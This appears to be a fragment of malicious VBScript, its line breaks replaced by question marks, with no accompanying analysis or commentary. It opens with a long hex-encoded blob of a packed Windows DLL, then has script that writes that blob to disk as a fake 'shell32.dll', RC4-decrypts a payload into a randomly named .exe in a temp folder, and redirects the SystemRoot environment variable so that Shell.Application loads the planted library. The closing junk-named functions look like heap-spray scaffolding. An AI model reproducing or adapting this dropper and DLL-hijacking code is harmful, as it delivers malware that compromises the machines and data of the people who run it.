9B 12 30 3A 80 CA BA E0 E6 87 89 22 39 8B 0F 3E F0 9D EE 0B 83 AF F1 39 75 0C 3C 83 7F 01 FD C6 70 BE A8 EE 2B F1 C7 30 05 03 53 89 37 28 68 75 99 81 AA 23 CC F0 6A 05 08 59 2A 4D D4 06 E9 D3 EE 96 EF 46 DC 0A 03 EC 42 03 F7 69 F6 85 14 A7 02 00 7D F8 07 8D 8C 0E D8 6C 1C 16 AC 08 7A 0F 6C 9F ED 40 F0 7C 2B 50 E8 B9 14 C6 84 0C 31 2C 1C F4 D1 65 F6 90 06 0E 75 08 81 E7 18 D1 8D 0C 67 17 64 8E 04 04 22 D8 94 A6 40 5D 75 88 1B C1 40 E6 F3 8E 40 75 09 87 8A 73 1F A2 F3 3A CE D8 81 D2 89 31 85 FF 0F CD 82 86 8D EB 19 29 48 14 2B C6 8B 1D 77 60 CE 9C D8 89 0E 8D 18 54 12 01 3E 74 67 28 81 FA 78 81 9D 73 F3 19 02 EB 61 70 08 20 1F 91 85 11 75 88 36 44 CE 3E 12 73 14 2A 1B 62 F0 EB 12 9C 6E 28 89 0F 6B 84 67 32 7C 9F A8 F0 06 14 92 ED 24 1D 04 1C 88 55 0B FE 3C 0E A6 09 2B 41 E9 9A 05 23 32 33 0A 1F 6D FB 03 FA 8B 13 3C 12 06 A2 82 C1 A1 8B D1 C1 EA 92 9C CA 5B C5 B4 54 A6 CF 8D 26 94 8A 43 48 AC FE 46 0A 88 43 F3 33 DD 07 6A E4 32 4E DC 0C E0 0F 30 48 78 37 32 10 B2 7D 06 90 91 EB 07 28 C7 45 88 A6 B3 09 EC 81 C1 C8 22 D0 E9 F3 A8 C3 DB D9 0A 36 57 06 8D BC 8A 30 55 91 56 56 51 D0 C3 11 8B D1 39 34 B4 83 6A AB 5B B2 F0 F8 83 F2 0F 9A A1 A2 42 04 CC EC C7 A6 50 C2 8D 34 8E 90 36 89 53 19 A4 A1 E3 B6 26 B7 8C 58 86 55 43 0E C6 73 47 44 55 BA 53 48 2C 03 EB 44 E0 C0 86 89 16 0F 2C 84 51 3F 42 55 14 48 7B 33 C9 A4 F4 03 0F 9D C1 8D 4C 09 8E 7E F7 36 8E 54 8E 8A 1F 0C 11 88 E4 8D 3B 0C 16 E9 13 5B 29 C4 98 2B C2 9D 71 20 2A E9 70 E0 AD 13 22 F2 A5 82 10 60 FF 26 15 A7 54 A0 78 32 EB 48 7A 54 ED 90 BA 90 AA 88 E4 91 17 F2 55 49 E7 DC 75 59 E6 E6 62 FF 76 6B 51 04 4B 1A 3C 49 1E E1 FD FB 24 0B 1D 6A F8 8A D0 14 84 DA C7 6E 23 84 90 55 23 11 90 F2 88 25 53 F4 26 0A 5C E3 AC 24 31 6D 02 0B 08 33 FF 63 4E AC 21 E9 81 C2 65 45 10 F2 82 D6 89 11 BD 60 A8 BF 87 61 10 26 B8 71 5C 04 34 66 C4 02 28 B0 8C 86 65 29 EB 1E 62 ED 84 03 C9 08 A6 41 45 10 E6 26 5F D2 F1 CD 5D 53 FB D8 11 22 F4 01 47 83 F7 3B 82 A2 14 91 B4 86 47 19 9A 43 C8 C9 89 34 1B 91 EB 1C F3 47 B5 7C 6C A4 2E 14 5C B1 02 1B 36 01 90 D2 FF E3 96 FA 95 EA 63 50 17 C0 3E D3 E6 2B FE 01 B8 FB B1 08 2C 22 15 6E 85 7A B0 6F 67 07 1C F4 EE 6D 05 46 D8 EB 03 72 6A 78 59 FD 28 B2 58 91 04 9C 39 C0 06 11 BB 69 0C 15 11 6E 49 93 B7 12 A0 A1 5D 93 9E 22 16 D2 B5 39 15 AC 68 A2 48 9D 00 08 75 A2 83 EA 40 E6 FA 90 70 0D DA 0F 8C D2 D1 E0 CA D1 7F F9 26 E3 01 13 0C CB 02 2C 0E C2 BE D8 7D 0F 58 C7 FB 61 02 40 70 8F BC 0A 80 EB 43 12 83 E9 04 7E 3B 03 D1 E8 03 DB 39 D7 71 72 06 29 B6 0A 8E 96 05 75 D0 8D 8F 88 D5 4C 0A B8 04 D1 1D D8 22 90 1A 67 47 B4 08 32 7D E8 4F 84 E2 14 B9 4D 81 11 15 E4 0E DA B9 A2 FF EB 19 12 C1 72 E9 42 D5 D1 4A 66 04 E1 0B 96 E3 6E 09 8D 7C 3F 01 0F 9E 52 20 7D 9C 43 89 D6 26 07 11 E0 F8 DF D7 54 0E 71 01 F4 02 3B DE 77 35 21 0D 60 1C CE 03 2B CB 03 CF 8A 11 1F 4A F4 88 44 3E 46 41 97 88 09 41 9E 89 87 4A 74 05 3B 51 18 72 E5 BA A0 B9 39 FD 18 0F 82 AE 77 E9 A0 C3 0B 33 C0 40 C3 9A 4B 11 22 F7 10 70 E6 28 75 08 B4 00 46 04 57 99 6A 09 59 F7 75 F9 3C 05 5F 7C 70 68 4B 10 05 5A B6 C0 06 93 99 F7 E0 7D 7D A1 E7 F0 CE 42 E4 C3 A4 27 0A F4 94 00 96 FB 48 E5 07 04 50 6A 02 FF 57 61 94 1E 8E 38 FC 8D 7E 3F 3E 53 D0 CA 83 36 C6 09 AE 1A 7D F0 37 E8 A1 7E 1C 9A 80 83 51 4B 1E 81 50 0C 5F 5E 8B C3 38 DD 55 48 C1 50 2D 58 70 52 40 04 67 E1 D4 0A 01 53 FB 70 22 08 14 8C 01 31 2A 1F 08 84 08 01 2C 50 99 1B 60 06 04 56 25 06 52 E4 24 D0 18 32 13 51 17 99 0F 02 83 09 24 53 3F 47 41 0C 84 B8 DB 18 87 11 08 8C 0D A5 1C 65 10 21 4C 90 0E 9A D1 0F 17 16 53 D0 70 04 8A 86 38 64 08 3C C0 DE 19 CB 57 56 88 88 19 01 5D 81 ED 4C 13 86 76 8D B5 43 0D 00 8B 46 FC 83 C0 04 2B F0 ED E5 DE ED 56 20 1B 76 48 1C E7 0E 8D BD 2F 38 32 AD AB A4 02 02 90 83 7B 48 01 74 60 0A 73 44 3B 85 F6 8D 0E B9 23 83 34 8B 7B 75 40 1D FA F3 A4 F9 E4 58 1B 4E 01 9C 8D 6F 04 06 31 45 FC FF 2E C2 1C 51 E8 46 49 2E 90 4C 01 8B 06 4E 2C 89 8D 2B 4B AE AB 49 51 5F 18 95 37 21 89 85 61 27 0D 56 E8 F6 25 A3 88 72 BD 2D 07 85 C0 0F 36 94 C1 C8 28 40 B1 0C 55 02 08 53 A7 4D 84 34 85 C9 C2 5B 89 93 85 D9 08 51 88 3A 47 06 30 6E 74 7B 8B 37 95 9C 83 62 8D A0 82 47 C9 75 A4 8A 3A 4F EB C6 F7 C1 57 02 80 74 1E 52 81 E1 78 7B 06 7F 51 8D 85 07 31 62 50 0E 3F 2F 28 89 14 CF 26 24 1D 05 2C D1 0E C8 41 2C 52 3F D2 42 2D A6 96 81 0D 6A 8A 10 85 AB 1C 21 C0 9A CB 31 04 08 EB 54 0C 50 37 DE 91 25 10 75 2C 43 1A 0B 4B 40 00 F2 03 F7 C6 06 16 E9 83 C1 1C 22 D2 89 14 0B 25 29 90 01 D8 57 E8 4D 28 98 48 74 A2 B5 44 0F CE A6 3B D1 00 46 0C 03 C7 5D 5E 5F 26 5B C3 F9 42 C4 FC 49 BB E8 C2 20 5B 81 EB 06 68 15 3F E0 39 81 0E 03 CB 51 FF 93 22 A9 49 CD 51 BA 60 4E 7E A1 C3 D3 C9 FB 61 31 D8 02 74 3F 16 52 75 FA C3 4C 50 C6 86 93 33 45 01 AB 5A 83 C2 04 EB E4 31 EB 86 AC 06 75 C5 AF 6E C9 1E 15 5A 22 F8 98 34 CC 9C 47 80 5F EC 3B 1F C3 74 59 49 77 38 21 E7 52 03 F3 E4 D3 2B 58 D8 C7 1E F8 AD 3B 7C 75 DA 92 62 79 3F 5C C8 87 24 08 5B 3C 97 ED 66 09 53 FE 0E 4B CF AD 16 1B BF 10 FB 04 FB 03 7D 1E A3 84 D8 8B F8 81 7F E7 9A 93 83 84 F0 C1 E8 0C DF 3A FC 8B 75 05 8B 01 89 01 07 49 C7 C8 D2 EB B7 A5 76 20 73 81 C1 66 60 EC 10 BA 82 80 5B 07 03 61 C2 82 08 EB F4 53 23 0C 82 90 B5 01 52 19 FC E8 23 56 C4 5C 16 35 1C 3E 93 C9 02 58 3C 74 0A C4 0B 48 FE 30 0A 50 EB 07 B8 E0 89 55 F8 0F 0B B7 46 10 A9 10 8E 75 7D EE 08 D2 6F 64 87 85 84 5A 7A 6C C1 76 FC 8F 40 5E 12 8A 36 F6 01 F8 3B CF 7D 34 E4 06 46 B8 94 02 D0 01 55 FC 2C E8 41 4A 74 F4 FE C8 0C 8A D7 75 1C 2A 3A 76 C2 49 0D 1F 39 08 84 C0 10 86 C4 D1 1E 06 01 7C 64 1C C6 04 FD 73 04 41 EB C8 5E 59 90 BE 46 14 74 37 35 3B 2A 55 30 8A AB 11 F7 16 4C 1F C2 E9 78 FD F0 3E 35 17 51 8E 14 39 5E 03 C2 83 EC 02 66 F8 76 12 52 B8 BA 20 A7 FE 62 59 8E 1C 49 C1 3F 57 35 E6 5A E1 46 E5 84 41 17 7F 7E FA 27 9B 50 94 DE CD 28 43 ED B1 7A 0C 74 4D E0 73 98 1E 62 7D 28 4B 08 C9 F8 C1 C4 F9 02 2C F3 A5 2D 0F 83 E1 B6 45 FF 7B 04 0C 16 FA A4 52 F6 D1 A1 19 AB F1 CA 08 AA 4B 5A 4D 5F 3B 32 A3 3D 32 48 A6 10 C3 15 75 A2 A2 A8 E3 85 52 28 9C 9A 0C 47 02 0E F0 12 51 52 56 37 91 29 19 8A D6 15 0A 89 BB BF 62 7D EC E3 26 50 6E 48 2B 78 C8 52 36 B2 A2 5E 65 20 F3 12 7C 04 03 C5 41 19 BB D0 48 8B 0E F4 52 27 4B 08 D5 3C C8 A8 8B 66 2F C7 51 1E FD 9D 06 EC 96 D0 07 14 40 74 19 2D B5 46 DD 12 44 29 19 15 36 8F FF B6 06 EC EB 26 CA 5A 1B B0 90 FA 3B 7D F8 75 C2 0E F9 EB 11 8F DA 32 7C 40 C7 58 05 32 93 5C 2F DC E0 DF 2B 75 9C 2E 49 38 5E F3 93 DA 91 0B 6A 40 08 ED 2D 24 2D 40 A6 0E 53 90 01 AA F5 8A 9B 5A 12 5A 49 82 39 8A 5C B6 3A 86 06 74 24 03 08 E7 D1 43 30 51 4E 7A 0C 9A CE 0C 7E 10 85 FF 21 7B F4 50 09 57 51 53 E8 91 7D 40 30 1B 48 91 88 BB F0 90 A9 13 14 EB C5 2B D5 11 B8 1A 04 45 0C 89 83 B5 A2 B2 B2 10 A0 10 F6 46 E2 8B 25 93 EF 89 3F C3 84 9A D2 C4 74 FD 39 4A 17 85 C0 0E 21 4E 6D EB 4E 08 54 10 91 DC DE 81 BA 10 29 CB 07 55 14 85 D2 A7 02 D7 D6 66 F6 0D 2A F2 C7 6E 84 8A F9 FB 0A B8 74 44 52 7F 44 A9 E2 16 13 09 25 93 14 6A 81 EB 0E 68 C9 17 03 41 4F C7 66 3E 0E 51 40 32 CC 3A 1F 89 5A A6 68 5D 1A 6F 4D C3 AA 92 02 58 45 B2 AC 28 EB AC 9D 8D 9C 5A E5 75 11 FC 55 60 ED F3 70 1B 30 1B 2B F1 89 D0 4A E8 41 03 1C 3B 4D 0C 20 57 41 4E EB 2B 2B 4C 5C 24 FC 5E E9 65 0B 42 11 1C 2B C0 8B 40 3C A4 B9 00 48 14 8D 7C 01 18 83 C7 7A 27 16 CF C1 E9 0E 51 E1 66 51 8D 76 4F 50 74 75 04 CF FB 2E 02 8A 07 A8 83 F6 04 2C A3 88 C2 59 88 1D E7 A1 1E C9 4D A3 23 65 11 76 4D FE 4B 34 6B 2F 22 21 98 95 0C 25 21 33 4F F6 7B 95 BD C2 95 01 55 5D 83 6D 73 76 62 97 5E 07 41 70 10 6C 69 63 61 74 74 07 6F 6E 20 65 72 1E DC E9 12 EE FB 20 8B 75 FF B7 2E 01 54 68 65 F7 C6 3C 76 63 7F 64 ED 8D 14 25 73 35 E5 6C F3 CB 6E B3 74 EA 62 0F 5F 76 61 36 FE 69 DD 64 F1 53 44 4C C7 42 47 35 66 82 64 2C 37 61 6C 20 7A 33 57 9C 2A 1D 75 A8 87 38 33 32 3B 4D 7E FE 61 7B 67 0E 42 6F 78 41 0F 77 7B F6 19 50 74 66 14 6B BC 38 73 60 6C 3F 45 78 69 74 52 50 90 6E 4C 0D 43 98 83 68 48 61 6E 64 C7 EE 07 4F 70 AF 15 18 8F 47 E7 74 4D AA B0 14 6C 1C D8 7C 56 69 3F 72 74 D1 8C B3 41 F4 63 D4 E9 F4 AC 43 9D 87 5F 4F 4B F3 AF 66 62 21 64 86 09 6E 48 7A 91 97 56 5B A3 59 32 39 D3 09 EB 24 3C 48 BF 94 CB 30 C9 6B D8 80 62 8D 09 A5 19 09 15 9B F5 30 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C2 0C 00 00 08 71 00 00 44 26 00 00 48 09 00 00 1C 7C 00 00 18 70 00 00 1C 70 00 00 00 00 40 00 10 70 00 00 14 70 00 00 B8 71 6A 40 F0 8D 88 9E 12 00 10 89 41 01 8B 54 24 04 8B 52 0C C6 02 E9 83 C2 05 2B CA 89 4A FC 33 C0 C3 B8 78 56 34 12 64 8F 05 00 00 00 00 83 C4 04 55 53 51 57 56 52 8D 98 57 12 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF D1 5A 58 03 43 08 8B F8 52 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 0C 89 4E 14 FF D7 89 85 3F 13 00 10 8B F0 8B 4B 14 5A EB 0C 03 CA 68 00 80 00 00 6A 00 57 FF 11 8B C6 5A 5E 5F 59 5B 5D FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 0C 00 00 00 01 30 00 00 00 70 00 00 0C 00 00 00 E0 3C ED 3C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" ? ? ? ? hexarr = Split(sdfsdf) ? ReDim binarr(UBound(hexarr)) ? For i = 0 To UBound(hexarr) ? binarr(i) = Chr(CInt("&h" & hexarr(i))) ? Next ? ? binstr = Join(binarr, "") ? ? For i = 0 to Ubound(hexarr) ? hexarr(i) = Chr(hexarr(i)) ? Next ? dlltxt = binstr ? fakedll = c.BuildPath(fake32, "she" & "ll32.dll") ? Set b = c.CreateTextFile(fakedll) ? b.Write dlltxt ? b.Close ? f = c.BuildPath(tmp, rnds(8) & ".exe") ? Set stream = CreateObject("ADODB.Stream") ? stream.Open ? stream.Type = 1 ? stream.Write z ? arcnsave stream, key, f ? stream.Close ? ? Set w = CreateObject("WScript.Shell") ? w.CurrentDirectory = tmp ? oldroot = w.Environment("Process").Item("SystemRoot") ? w.Environment("Process").Item("SystemRoot") = tmp ? w.Environment("Process").Item("SysFilename") = f ? Set sh = CreateObject("Shell.Application") ? Environment("Process").Item("SystemRoot") = oldroot ? End If ? End Sub ? ? Sub arcnsave(stream, strKey, fname) ? Dim kLen, x, y, i, j, t, slen, aBuf, bStream ? Dim s(256), k(256) ? klen = Len(strKey) ? For i = 0 To 255 ? s(i) = i ? k(i) = AscB(Mid(strKey, (i Mod klen) + 1, 1)) ? Next ? j = 0 ? For i = 0 To 255 ? j = (j + k(i) + s(i)) And 255 ? t = s(i) : s(i) = s(j) : s(j) = t ? Next ? slen = stream.position ? redim rc(slen) ? stream.position = 0 ? x = 0 : y = 0 ? For i = 0 To slen - 1 ? x = (x + 1) And 255 ? y = (y + s(x)) And 255 ? t = s(x) : s(x) = s(y) : s(y) = t ? rc(i) = Chr(CByte(s((s(x) + s(y)) And 255) Xor AscB(stream.Read(1)))) ? Next ? Dim rctxt : rctxt = join(rc, "") ? Set c = CreateObject("Scripting.FileSystemObject") ? Set b = c.CreateTextFile(fname) ? b.Write rctxt ? b.Close ? End Sub ? ? Function hedfsdf ? aw.ZeroineL() ? Dim i ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 12) ? Next ? End Function ? ? Function hehgsdf ? aw.ZeroineL() ? Dim i ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 12) ? Next ? End Function ? ? Function hehgfggsdf ? Dim i ? For i = 0 To k3 ? y(i) = Mid(x, 1, k2 * 12) ? Next ? End Function ? ==